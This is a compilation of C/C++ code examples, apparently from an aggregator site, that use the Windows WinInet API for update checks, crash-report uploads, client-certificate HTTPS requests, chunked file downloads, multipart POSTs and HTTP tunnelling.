	if (DownloadWebPagePost(page, hNet, CRASHREPORT_REPORTURL, params.c_str()))
	{
		LPCSTR pos = page.c_str();
		if (strncmp(pos, "OK", 2) == 0)
		{
			if (page.size() > 2)
			{
				MessageBox(CA2CT(&page[2]), _T("Thank you"));
			}
			else
				MessageBox(_T("Your report has been sent."), _T("Thank you"));
		}

	}
	InternetCloseHandle(hNet);
	RestartIfNeeded();
	CDialog::OnOK();
}
Esempio n. 25
0
DWORD WINAPI _CheckForUpdate(LPVOID arg) {
	int verbose = *(int*)arg;
	free(arg);
	
	//Check if we should check for beta
	wchar_t path[MAX_PATH];
	GetModuleFileName(NULL, path, ARRAY_SIZE(path));
	PathRemoveFileSpec(path);
	wcscat(path, L"\\"APP_NAME".ini");
	wchar_t txt[10];
	GetPrivateProfileString(L"Update", L"Beta", L"0", txt, ARRAY_SIZE(txt), path);
	int beta = _wtoi(txt);
	
	//Check if we are connected to the internet
	DWORD flags; //Not really used
	int tries = 0; //Try at least ten times, sleep one second between each attempt
	while (InternetGetConnectedState(&flags,0) == FALSE) {
		tries++;
		if (!verbose) {
			Sleep(1000);
		}
		if (tries >= 10 || verbose) {
			if (verbose) {
				Error(L"InternetGetConnectedState()", L"No internet connection.\nPlease check for update manually on the website.", GetLastError(), TEXT(__FILE__), __LINE__);
			}
			return 1;
		}
	}
	
	//Open connection
	HINTERNET http = InternetOpen(APP_NAME L" - " APP_VERSION, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
	if (http == NULL) {
		if (verbose) {
			Error(L"InternetOpen()", L"Could not establish connection.\nPlease check for update manually on the website.", GetLastError(), TEXT(__FILE__), __LINE__);
		}
		return 1;
	}
	HINTERNET file = InternetOpenUrl(http, (beta?APP_UPDATE_UNSTABLE:APP_UPDATE_STABLE), NULL, 0, INTERNET_FLAG_RELOAD|INTERNET_FLAG_NO_CACHE_WRITE|INTERNET_FLAG_NO_AUTH|INTERNET_FLAG_NO_AUTO_REDIRECT|INTERNET_FLAG_NO_COOKIES|INTERNET_FLAG_NO_UI, 0);
	if (file == NULL) {
		if (verbose) {
			Error(L"InternetOpenUrl()", L"Could not establish connection.\nPlease check for update manually on the website.", GetLastError(), TEXT(__FILE__), __LINE__);
		}
		InternetCloseHandle(http);
		return 1;
	}
	//Read file
	char data[20];
	DWORD numread;
	if (InternetReadFile(file,data,sizeof(data),&numread) == FALSE) {
		if (verbose) {
			Error(L"InternetReadFile()", L"Could not read file.\nPlease check for update manually on the website.", GetLastError(), TEXT(__FILE__), __LINE__);
		}
		InternetCloseHandle(file);
		InternetCloseHandle(http);
		return 1;
	}
	data[numread] = '\0';
	//Get response code
	wchar_t code[4];
	DWORD len = sizeof(code);
	HttpQueryInfo(file, HTTP_QUERY_STATUS_CODE, &code, &len, NULL);
	//Close connection
	InternetCloseHandle(file);
	InternetCloseHandle(http);
	
	//Make sure the response is valid
	//strcpy(data, "Version: 1.3"); //This is the format of the new update string
	//char header[] = "Version: ";
	if (wcscmp(code,L"200") /*|| strstr(data,header) != data*/) {
		if (verbose) {
			MessageBox(NULL, L"Could not determine if an update is available.\n\nPlease check for update manually on the website.", TEXT(APP_NAME), MB_ICONWARNING|MB_OK);
		}
		return 2;
	}
	
	//New version available?
	//char *latest = data+strlen(header);
	//int cmp = strcmp(latest, APP_VERSION);
	int cmp = strcmp(data, APP_VERSION);
	if (cmp > 0 || (beta && cmp != 0)) {
		update = 1;
		if (verbose) {
			SendMessage(g_hwnd, WM_COMMAND, SWM_UPDATE, 0);
		}
		else {
			wcsncpy(tray.szInfo, l10n->update_balloon, ARRAY_SIZE(tray.szInfo));
			tray.uFlags |= NIF_INFO;
			UpdateTray();
			tray.uFlags ^= NIF_INFO;
		}
	}
	else {
		update = 0;
		if (verbose) {
			MessageBox(NULL, l10n->update_nonew, TEXT(APP_NAME), MB_ICONINFORMATION|MB_OK);
		}
	}
	return 0;
}
Esempio n. 26
0
void main(int argc, char *argv[])
{

    if(argc<2)
    {
        printf("USAGE: %s [webserver]\n", argv[0]);
        return;
    }

    // Open Internet session.
    HINTERNET hSession = InternetOpen(
                            "Wininet Client App",
                            PRE_CONFIG_INTERNET_ACCESS,
                            NULL, 
                            INTERNET_INVALID_PORT_NUMBER,
                            0) ;

    // Connect to server\website.
    // NOTE: There must be a client authentication certificate
    // available that corresponds to the name of the server or 
    // website that you are connecting to.
    // For instance, if I am running WebServer on machine davemo1,
    // then I can specify "davemo1" as the webserver. I must have a
    // client authentication certificate available 
    HINTERNET hConnect = InternetConnect(
                            hSession,
                            argv[1],
                            INTERNET_DEFAULT_HTTPS_PORT,
                            "",
                            "",
                            INTERNET_SERVICE_HTTP,
                            0,
                            0) ;



    // Request the file default.htm from the server.
    HINTERNET hHttpFile = HttpOpenRequest(
                            hConnect,
                            "GET",
                            "default.htm",
                            HTTP_VERSION,
                            "",
                            NULL,
                            INTERNET_FLAG_SECURE,
                            0) ;

    //
    // Send the request and check for success
    //
    while(!HttpSendRequest(hHttpFile, NULL, 0, 0, 0))
    {

        // If the server requires a client certificate I'll invoke
        // this nifty dialogue to select a certificate and
        // reset the options for the request.

        printf("HttpSendRequest error : (%lu)\n", GetLastError());

        InternetErrorDlg (
            GetDesktopWindow(),
            hHttpFile,
            ERROR_INTERNET_CLIENT_AUTH_CERT_NEEDED,
            FLAGS_ERROR_UI_FILTER_FOR_ERRORS |
            FLAGS_ERROR_UI_FLAGS_GENERATE_DATA |
            FLAGS_ERROR_UI_FLAGS_CHANGE_OPTIONS,
            NULL);


    }

    // Get the length of the file.            
    char bufQuery[32] ;

    DWORD dwLengthBufQuery;
    dwLengthBufQuery = sizeof(bufQuery);

    DWORD dwIndex;
    dwIndex=0;

    BOOL bQuery;
    
    bQuery = HttpQueryInfo(
                hHttpFile,
                HTTP_QUERY_CONTENT_LENGTH, 
                bufQuery, 
                &dwLengthBufQuery,
                &dwIndex) ;

    if(!bQuery)
        printf("HttpQueryInfo error : <%lu>\n", GetLastError());


    // Convert length from ASCII string to a DWORD.
    DWORD dwFileSize;
    
    dwFileSize = (DWORD)atol(bufQuery) ;

    // Allocate a buffer for the file.   
    char* buffer;
    
    buffer = new char[dwFileSize+1] ;

    printf("Trying to read %lu bytes from the server\n", dwFileSize);

    // Read the file into the buffer. 
    DWORD dwBytesRead ;
    BOOL bRead;
    
    bRead = InternetReadFile(
                hHttpFile,
                buffer,
                dwFileSize+1, 
                &dwBytesRead);

    if(!bRead)
    {
        printf("InternetReadFile error : <%lu>\n", GetLastError());
    }
    else
    {
        // Put a zero on the end of the buffer.
        buffer[dwBytesRead] = 0 ;

        // Print the buffer contents.
        printf("Retrieved %lu data bytes: %s\n", dwBytesRead, buffer) ;
    }

    // Close all of the Internet handles.
    InternetCloseHandle(hHttpFile); 
    InternetCloseHandle(hConnect) ;
    InternetCloseHandle(hSession) ;


}
Esempio n. 27
0
DWORD CALLBACK TaskThreadProc(LPVOID ThreadParam)
{
  NSIS::stack_t *pURL,*pFile;
  HINTERNET hInetSes = NULL, hInetCon = NULL;
  HANDLE hLocalFile;
  bool completedFile = false;
startnexttask:
  hLocalFile = INVALID_HANDLE_VALUE;
  pFile = NULL;
  TaskLock_AcquireExclusive();
  // Now that we've acquired the lock, we can set the event to indicate this.
  // SetEvent will likely never fail, but if it does we should set it to NULL
  // to avoid anyone waiting on it.
  if (!SetEvent(g_hGETStartedEvent)) {
    CloseHandle(g_hGETStartedEvent);
    g_hGETStartedEvent = NULL;
  }
  pURL = g_pLocations;
  if (pURL)
  {
    pFile = pURL->next;
    g_pLocations = pFile->next;
  }
#ifndef ONELOCKTORULETHEMALL
  StatsLock_AcquireExclusive();
#endif
  if (completedFile)
  {
    ++g_FilesCompleted;
  }
  completedFile = false;
  g_cbCurrXF = 0;
  g_cbCurrTot = FILESIZE_UNKNOWN;
  if (!pURL)
  {
    if (g_FilesTotal)
    {
      if (g_FilesTotal == g_FilesCompleted)
      {
        g_Status = STATUS_COMPLETEDALL;
      }
    }
    g_hThread = NULL;
  }
#ifndef ONELOCKTORULETHEMALL
  StatsLock_ReleaseExclusive();
#endif
  TaskLock_ReleaseExclusive();

  if (!pURL)
  {
    if (0)
    {
diegle:
      DWORD gle = GetLastError();
      //TODO? if (ERROR_INTERNET_EXTENDED_ERROR==gle) InternetGetLastResponseInfo(...)
      g_Status = STATUS_ERR_GETLASTERROR;
    }
    if (hInetSes)
    {
      InternetCloseHandle(hInetSes);
    }
    if (hInetCon)
    {
      InternetCloseHandle(hInetCon);
    }
    if (INVALID_HANDLE_VALUE != hLocalFile)
    {
      CloseHandle(hLocalFile);
    }
    StackFreeItem(pURL);
    StackFreeItem(pFile);
    return 0;
  }

  if (!hInetSes)
  {
    hInetSes = InternetOpen(USERAGENT, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
    if (!hInetSes)
    {
      goto diegle;
    }

    //msdn.microsoft.com/library/default.asp?url=/workshop/components/offline/offline.asp#Supporting Offline Browsing in Applications and Components
    ULONG longOpt;
    DWORD cbio = sizeof(ULONG);
    if (InternetQueryOption(hInetSes, INTERNET_OPTION_CONNECTED_STATE, &longOpt, &cbio))
    {
      if (INTERNET_STATE_DISCONNECTED_BY_USER&longOpt)
      {
        INTERNET_CONNECTED_INFO ci = {INTERNET_STATE_CONNECTED, 0};
        InternetSetOption(hInetSes, INTERNET_OPTION_CONNECTED_STATE, &ci, sizeof(ci));
      }
    }

    if(g_ConnectTimeout > 0)
    {
      InternetSetOption(hInetSes, INTERNET_OPTION_CONNECT_TIMEOUT,
                        &g_ConnectTimeout, sizeof(g_ConnectTimeout));
    }
  }

  DWORD ec = ERROR_SUCCESS;
  hLocalFile = CreateFile(pFile->text,GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_DELETE,NULL,CREATE_ALWAYS,0,NULL);
  if (INVALID_HANDLE_VALUE == hLocalFile)
  {
    goto diegle;
  }

  const DWORD IOURedirFlags = INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP |
                              INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS;
  const DWORD IOUCacheFlags = INTERNET_FLAG_RESYNCHRONIZE |
                              INTERNET_FLAG_NO_CACHE_WRITE |
                              INTERNET_FLAG_PRAGMA_NOCACHE |
                              INTERNET_FLAG_RELOAD;
  const DWORD IOUCookieFlags = INTERNET_FLAG_NO_COOKIES;
  DWORD IOUFlags = IOURedirFlags | IOUCacheFlags | IOUCookieFlags |
                   INTERNET_FLAG_NO_UI | INTERNET_FLAG_EXISTING_CONNECT;

  WCHAR protocol[16];
  WCHAR server[128];
  WCHAR path[1024];
  INTERNET_PORT port;
  // Good old VC6 cannot deduce the size of these params :'(
  if (!BasicParseURL<16, 128, 1024>(pURL->text, &protocol, &port, &server, &path))
  {
    // Insufficient buffer or bad URL passed in
    goto diegle;
  }

  DWORD context;
  hInetCon = InternetConnect(hInetSes, server, port, NULL, NULL,
                             INTERNET_SERVICE_HTTP, IOUFlags,
                             (unsigned long)&context);
  if (!hInetCon)
  {
    goto diegle;
  }

  // Setup a buffer of size 256KiB to store the downloaded data.
  // Get at most 4MiB at a time from the partial HTTP Range requests.
  // Biffer buffers will be faster.
  // cbRangeReadBufXF should be a multiple of cbBufXF.
  const UINT cbBufXF = 262144;
  const UINT cbRangeReadBufXF = 4194304;
  BYTE bufXF[cbBufXF];

  // Up the default internal buffer size from 4096 to internalReadBufferSize.
  DWORD internalReadBufferSize = cbRangeReadBufXF;
  if (!InternetSetOption(hInetCon, INTERNET_OPTION_READ_BUFFER_SIZE,
                         &internalReadBufferSize, sizeof(DWORD)))
  {
    // Maybe it's too big, try half of the optimal value.  If that fails just
    // use the default.
    internalReadBufferSize /= 2;
    InternetSetOption(hInetCon, INTERNET_OPTION_READ_BUFFER_SIZE,
                      &internalReadBufferSize, sizeof(DWORD));
  }

  // Change the default timeout of 30 seconds to the specified value.
  // Is case a proxy in between caches the results, it could in theory
  // take longer to get the first chunk, so it is good to set this high.
  if (g_ReceiveTimeout)
  {
    InternetSetOption(hInetCon, INTERNET_OPTION_DATA_RECEIVE_TIMEOUT,
                      &g_ReceiveTimeout, sizeof(DWORD));
  }

  HINTERNET hInetFile;
  DWORD cbio = sizeof(DWORD);

  // Keep looping until we don't have a redirect anymore
  int redirectCount = 0;
  for (;;) {
    // Make sure we aren't stuck in some kind of infinite redirect loop.
    if (redirectCount > 15) {
      goto diegle;
    }

    // If a range request was specified, first do a HEAD request
    hInetFile = HttpOpenRequest(hInetCon, g_WantRangeRequest ? L"HEAD" : L"GET",
                                path, NULL, NULL, NULL,
                                INTERNET_FLAG_NO_AUTO_REDIRECT |
                                INTERNET_FLAG_PRAGMA_NOCACHE |
                                INTERNET_FLAG_RELOAD, 0);
    if (!hInetFile)
    {
      goto diegle;
    }

    if (!HttpSendRequest(hInetFile, NULL, 0, NULL, 0))
    {
      goto diegle;
    }

    WCHAR responseText[256];
    cbio = sizeof(responseText);
    if (!HttpQueryInfo(hInetFile,
                       HTTP_QUERY_STATUS_CODE,
                       responseText, &cbio, NULL))
    {
      goto diegle;
    }

    int statusCode = _wtoi(responseText);
    if (statusCode == HTTP_STATUS_REDIRECT ||
        statusCode == HTTP_STATUS_MOVED) {
      redirectCount++;
      WCHAR URLBuffer[2048];
      cbio = sizeof(URLBuffer);
      if (!HttpQueryInfo(hInetFile,
                         HTTP_QUERY_LOCATION,
                         (DWORD*)URLBuffer, &cbio, NULL))
      {
        goto diegle;
      }

      WCHAR protocol2[16];
      WCHAR server2[128];
      WCHAR path2[1024];
      INTERNET_PORT port2;
      BasicParseURL<16, 128, 1024>(URLBuffer, &protocol2, &port2, &server2, &path2);
      // Check if we need to reconnect to a new server
      if (wcscmp(protocol, protocol2) || wcscmp(server, server2) ||
          port != port2) {
        wcscpy(server, server2);
        port = port2;
        InternetCloseHandle(hInetCon);
        hInetCon = InternetConnect(hInetSes, server, port, NULL, NULL,
                                   INTERNET_SERVICE_HTTP, IOUFlags,
                                   (unsigned long)&context);
        if (!hInetCon)
        {
          goto diegle;
        }
      }
      wcscpy(path, path2);

      // Close the existing handle because we'll be issuing a new request
      // with the new request path.
      InternetCloseHandle(hInetFile);
      continue;
    }
    break;
  }

  // Get the file length via the Content-Length header
  FILESIZE_T cbThisFile;
  cbio = sizeof(cbThisFile);
  if (!HttpQueryInfo(hInetFile,
                     HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER,
                     &cbThisFile, &cbio, NULL))
  {
    cbThisFile = FILESIZE_UNKNOWN;
  }

  // Determine if we should use byte range requests. We want to use it if:
  // 1. Server accepts byte range requests
  // 2. The size of the file is known and more than our Range buffer size.
  bool shouldUseRangeRequest = true;
  WCHAR rangeRequestAccepted[64] = { '\0' };
  cbio = sizeof(rangeRequestAccepted);
  if (cbThisFile != FILESIZE_UNKNOWN && cbThisFile <= cbRangeReadBufXF ||
      !HttpQueryInfo(hInetFile,
                     HTTP_QUERY_ACCEPT_RANGES,
                     (LPDWORD)rangeRequestAccepted, &cbio, NULL))
  {
    shouldUseRangeRequest = false;
  }
  else
  {
    shouldUseRangeRequest = wcsstr(rangeRequestAccepted, L"bytes") != 0 &&
                            cbThisFile != FILESIZE_UNKNOWN;
  }

  // If the server doesn't have range request support or doesn't have a
  // Content-Length header, then get everything all at once.
  // If the user didn't want a range request, then we already issued the GET
  // request earlier.  If the user did want a range request, then we issued only
  // a HEAD so far.
  if (g_WantRangeRequest && !shouldUseRangeRequest)
  {
    InternetCloseHandle(hInetFile);
    InternetCloseHandle(hInetCon);
    hInetFile = InternetOpenUrl(hInetSes, pURL->text,
                                NULL, 0, IOUFlags, NULL);
    if (!hInetFile)
    {
      goto diegle;
    }

    // For some reason this also needs to be set on the hInetFile and
    // not just the connection.
    if (g_ReceiveTimeout > 0)
    {
      InternetSetOption(hInetCon, INTERNET_OPTION_DATA_RECEIVE_TIMEOUT,
                        &g_ReceiveTimeout, sizeof(DWORD));
    }
  }

  for(;;)
  {
    DWORD cbio = 0,cbXF = 0;
    // If we know the file size, download it in chunks
    if (g_WantRangeRequest && shouldUseRangeRequest && cbThisFile != g_cbCurrXF)
    {
      // Close the previous request, but not the connection
      InternetCloseHandle(hInetFile);
      hInetFile = HttpOpenRequest(hInetCon, L"GET", path,
                                  NULL, NULL, NULL,
                                  INTERNET_FLAG_PRAGMA_NOCACHE |
                                  INTERNET_FLAG_RELOAD, 0);
      if (!hInetFile)
      {
        // TODO: we could add retry here to be more tolerant
        goto diegle;
      }

      // For some reason this also needs to be set on the hInetFile and
      // not just the connection.
      if (g_ReceiveTimeout > 0)
      {
        InternetSetOption(hInetCon, INTERNET_OPTION_DATA_RECEIVE_TIMEOUT,
                          &g_ReceiveTimeout, sizeof(DWORD));
      }

      WCHAR range[32];
      swprintf(range, L"Range: bytes=%d-%d", g_cbCurrXF,
               min(g_cbCurrXF + cbRangeReadBufXF, cbThisFile));
      if (!HttpSendRequest(hInetFile, range, wcslen(range), NULL, 0))
      {
        // TODO: we could add retry here to be more tolerant
        goto diegle;
      }
    }

    // Read the chunk (or full file if we don't know the size) we downloaded
    BOOL retXF;
    for (;;)
    {
      DWORD cbioThisIteration = 0;
      retXF = InternetReadFile(hInetFile, bufXF, cbBufXF, &cbioThisIteration);
      if (!retXF)
      {
        ec = GetLastError();
        TRACE1(_T("InternetReadFile failed, gle=%u\n"), ec);
        // TODO: we could add retry here to be more tolerant
        goto diegle;
      }

      // Check if we're done reading
      if (cbioThisIteration == 0)
      {
        break;
      }

      // Write what we found
      cbXF = cbioThisIteration;
      retXF = WriteFile(hLocalFile, bufXF, cbXF, &cbioThisIteration, NULL);
      if (!retXF || cbXF != cbioThisIteration)
      {
        cbio += cbioThisIteration;
        ec = GetLastError();
        break;
      }

      cbio += cbioThisIteration;
      StatsLock_AcquireExclusive();
      if (FILESIZE_UNKNOWN != cbThisFile)
      {
        g_cbCurrTot = cbThisFile;
      }
      g_cbCurrXF += cbXF;
      StatsLock_ReleaseExclusive();

      // Avoid an extra call to InternetReadFile if we already read everything
      // in the current request
      if (cbio == cbRangeReadBufXF && shouldUseRangeRequest)
      {
        break;
      }
    }

    // Check if we're done transferring the file successfully
    if (0 == cbio &&
        (cbThisFile == FILESIZE_UNKNOWN || cbThisFile == g_cbCurrXF))
    {
      ASSERT(ERROR_SUCCESS == ec);
      TRACE2(_T("InternetReadFile true with 0 cbio, cbThisFile=%d gle=%u\n"), cbThisFile, GetLastError());
      break;
    }

    // Check if we canceled the download
    if (0 == g_FilesTotal)
    {
      TRACEA("0==g_FilesTotal, aborting transfer loop...\n");
      ec = ERROR_CANCELLED;
      break;
    }
  }

  TRACE2(_T("TaskThreadProc completed %s, ec=%u\n"), pURL->text, ec);
  InternetCloseHandle(hInetFile);
  if (ERROR_SUCCESS == ec)
  {
    if (INVALID_HANDLE_VALUE != hLocalFile)
    {
      CloseHandle(hLocalFile);
      hLocalFile = INVALID_HANDLE_VALUE;
    }
    StackFreeItem(pURL);
    StackFreeItem(pFile);
    ++completedFile;
  }
  else
  {
    SetLastError(ec);
    goto diegle;
  }
  goto startnexttask;
}
BOOL vmsPostRequest::SendMultipart(LPCTSTR ptszServer, LPCTSTR ptszFilePath, std::string *pstrResponse)
{
	Close ();

	USES_CONVERSION;

#ifdef DEBUG_SHOW_SERVER_REQUESTS
	TCHAR tszTmpPath [MAX_PATH];
	GetTempPath (MAX_PATH, tszTmpPath);
	TCHAR tszTmpFile [MAX_PATH];
	_stprintf (tszTmpFile, _T ("%s\\si_serv_req_%d.txt"), tszTmpPath, _c++);
	HANDLE hLog = CreateFile (tszTmpFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
	DWORD dwLogWritten;
	#define LOG_REQ_BUFFER(buf, size) WriteFile (hLog, buf, size, &dwLogWritten, NULL)
	#define LOG_REQ(s) LOG_REQ_BUFFER (s, strlen (s))
	#define LOG_REQ_OPEN	CloseHandle (hLog); ShellExecute (NULL, "open", tszTmpFile, NULL, NULL, SW_SHOW);
	char szTmp [10000] = ""; DWORD dwTmp = 10000;
	#define LOG_REQ_HTTP_HDRS *szTmp = 0; HttpQueryInfo (m_hRequest, HTTP_QUERY_RAW_HEADERS_CRLF | HTTP_QUERY_FLAG_REQUEST_HEADERS, szTmp, &dwTmp, 0); LOG_REQ (szTmp);
	#define LOG_REQ_DATA_BUFFER LOG_REQ_BUFFER (pbSendData, pbSendDataPos-pbSendData)
	#define LOG_REQ_ALL LOG_REQ_HTTP_HDRS; LOG_REQ_DATA_BUFFER;
	#define LOG_RESP_HTTP_HDRS *szTmp = 0; HttpQueryInfo (m_hRequest, HTTP_QUERY_RAW_HEADERS_CRLF, szTmp, &dwTmp, 0); LOG_REQ (szTmp);
#else
	#define LOG_REQ(s) 
	#define LOG_REQ_OPEN
	#define LOG_REQ_DATA_BUFFER
	#define LOG_REQ_HTTP_HDRS
	#define LOG_RESP_HTTP_HDRS
	#define LOG_REQ_ALL
#endif

	LPBYTE pbSendData = NULL; LPBYTE pbSendDataPos = NULL;
	#define ADD_DATA_TO_SEND(data,len) {memcpy (pbSendDataPos, data, len); pbSendDataPos += len;}
	#define ADD_STRING_TO_SEND(s) ADD_DATA_TO_SEND (s, strlen (s));

	if (m_vParts.size () == 0)
		return FALSE;

	DWORD dwAccessType = INTERNET_OPEN_TYPE_PRECONFIG;
	if (m_pProxyInfo)
		dwAccessType = m_pProxyInfo->tstrAddr.empty () ? INTERNET_OPEN_TYPE_DIRECT : INTERNET_OPEN_TYPE_PROXY;
	m_hInet = InternetOpen (m_tstrUserAgent.c_str (), dwAccessType,
		dwAccessType == INTERNET_OPEN_TYPE_PROXY ? m_pProxyInfo->tstrAddr.c_str () : NULL, NULL, 0);
	if (m_hInet == NULL)
		return FALSE;

	PostInitWinInetHandle (m_hInet);
	
	m_hConnect = InternetConnect (m_hInet, ptszServer, INTERNET_DEFAULT_HTTP_PORT, 
		NULL, NULL, INTERNET_SERVICE_HTTP, 0, NULL);
	if (m_hConnect == NULL)
	{
		LOG_REQ ("SERVER CONNECT FAILURE\r\n");
		LOG_REQ_OPEN;
		return FALSE;
	}
	
	m_hRequest = HttpOpenRequest (m_hConnect, _T ("POST"), ptszFilePath, NULL, NULL, NULL,
		INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_NO_UI | 
		INTERNET_FLAG_PRAGMA_NOCACHE, 0);
	if (m_hRequest == NULL)
	{
		LOG_REQ ("SERVER OPEN REQUEST FAILURE\r\n");
		LOG_REQ_OPEN;
		return FALSE;
	}

	ApplyProxyAuth (m_hRequest);

	std::string strLabel = "---------------------------284583012225az7";

	TCHAR tszHdr [10000] = _T ("Content-Type: multipart/form-data; boundary=");
	_tcscat (tszHdr, A2CT (strLabel.c_str ()));

	

	INTERNET_BUFFERS buffs;
	ZeroMemory (&buffs, sizeof (buffs));
	buffs.dwStructSize = sizeof (buffs);
	buffs.lpcszHeader = tszHdr;
	buffs.dwHeadersLength = buffs.dwHeadersTotal = _tcslen (tszHdr);
	buffs.dwBufferTotal = strLabel.length () + 4; 

	for (int step = 0; step < 2; step++)
	for (size_t i = 0; i < m_vParts.size (); i++)
	{
		_inc_mpart_item &item = m_vParts [i];

		CHAR sz [10000];
		if (item.strFileName.empty () == false)
		{
			sprintf (sz, "\
--%s\r\n\
Content-Disposition: form-data; name=\"%s\"; filename=\"%s\"\r\n\
Content-Type: application/octet-stream\r\n\r\n",
				strLabel.c_str (), item.strName.c_str (), item.strFileName.c_str ());
		}
		else
		{
Esempio n. 29
0
CAutoUpdater::CAutoUpdater()
{
	// Initialize WinInet
	hInternet = InternetOpen("AutoUpdateAgent", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);	
}
Esempio n. 30
0
bool
CHttp::AllocHandles ( bool isbase64, int *status, bool checkauth)
{

	DWORD		flags	=	INTERNET_FLAG_RELOAD | 
							INTERNET_FLAG_NO_CACHE_WRITE | 
							INTERNET_FLAG_KEEP_CONNECTION;
    unsigned long errnum;
	DWORD rec_timeout = RECIEVE_TIMEOUT;					// override the 30 second timeout fixed in 12.11
	wyString contenttype,contenttypestr;
	//wyInt32     ret;
	
		

	/* 
		If a user has selected to use proxy server for Internet connection then we
		create a separate handle, send a dummy request and set the username, password 

		The real data connection and transfer is done in another handle */
	
	if (IsProxy () )
		m_InternetSession = InternetOpen (TEXT(USER_AGENT), INTERNET_OPEN_TYPE_PROXY, GetProxy(), NULL, 0 );
	else
		m_InternetSession = InternetOpen (TEXT(USER_AGENT), INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0 );
	
	if (!m_InternetSession )
		return false;
	InternetSetOption(m_InternetSession, INTERNET_OPTION_RECEIVE_TIMEOUT, &rec_timeout, sizeof(rec_timeout));
	m_InternetConnect = InternetConnect (m_InternetSession, m_HostName, m_Port, m_UserName, m_Password, INTERNET_SERVICE_HTTP, 0L, 0L );
	if (!m_InternetConnect )
		return false;

	/* set the flags for internet connection  and check if SSL required */
	if (wcsicmp (m_Protocol, L"https" ) == 0 )
		flags |= INTERNET_FLAG_SECURE;

	/* check for proxy or password protected authentication 
	checkauth flag tells whether its required to be authenticated 
	*/
	if (checkauth && !Authorize (&errnum) )
    {
        *status = errnum;
		return false;
    }

	m_HttpOpenRequest = HttpOpenRequest(m_InternetConnect, L"POST", m_FileName, NULL, NULL, NULL, flags, 0L );
	if (!m_HttpOpenRequest )
		return false;

	//Content-Type 
	contenttype.SetAs(m_contenttype);
	contenttypestr.Sprintf("Content-Type: %s\r\n", contenttype.GetString());
	if (!HttpAddRequestHeaders(m_HttpOpenRequest, contenttypestr.GetAsWideChar () , (DWORD)-1, HTTP_ADDREQ_FLAG_ADD | HTTP_ADDREQ_FLAG_REPLACE ) )
		return false;
				
	/*if (!HttpAddRequestHeaders(m_HttpOpenRequest, L"HTTP_USER_AGENT: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0\r\n", (DWORD)-1, HTTP_ADDREQ_FLAG_ADD | HTTP_ADDREQ_FLAG_REPLACE ) )
		return false;*/
	//changing user string for avoid update your browser bug
	if (!HttpAddRequestHeaders(m_HttpOpenRequest, L"HTTP_USER_AGENT: Mozilla/5.0 (Windows; U;Windows NT 6.3; en-US; rv:36.0) Gecko/20100101 Firefox/36.0\r\n", (DWORD)-1, HTTP_ADDREQ_FLAG_ADD | HTTP_ADDREQ_FLAG_REPLACE ) )
		return false;

	if (isbase64 ) {
		if (!HttpAddRequestHeaders(m_HttpOpenRequest, L"Base64: yes\r\n", (DWORD)-1, HTTP_ADDREQ_FLAG_ADD | HTTP_ADDREQ_FLAG_REPLACE ) ) {
			assert (0 );
			return false;
		}
	}

	return true;
}